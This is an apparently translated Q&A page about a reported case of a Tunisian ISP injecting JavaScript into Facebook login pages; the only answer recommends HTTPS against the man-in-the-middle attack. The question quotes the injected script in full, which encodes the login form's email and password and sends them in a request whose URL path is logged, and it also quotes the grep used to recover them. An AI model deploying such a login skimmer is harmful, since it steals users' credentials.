【问题标题】:Javascript injection by ISPISP 的 Javascript 注入
【发布时间】:2011-06-30 09:28:32
【问题描述】:

此页面声称突尼斯 ISP 将 javascript 注入 Facebook 页面的源代码:

http://www.r00ted.com/doku.php?id=injection_tunisie

function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
 var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
 var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}

根据页面,用户 wo0dh3ad 不存在,但这将允许在日志中执行简单的 grep 以获取用户的密码(或密码哈希)。

grep wo0dh3ad /var/log/FAI.log

这真的可以吗?如果是这样,是否有一种方法可以检测对页面的某些篡改,只是说某些东西很奇怪并且应该使用另一个浏览器/连接?

【问题讨论】:

    标签: javascript facebook security code-injection


    【解决方案1】:

    使用 SSL (HTTPS) 防止中间人攻击。

    【讨论】:

      猜你喜欢
      • 2015-07-16
      • 1970-01-01
      • 1970-01-01
      • 2013-11-28
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多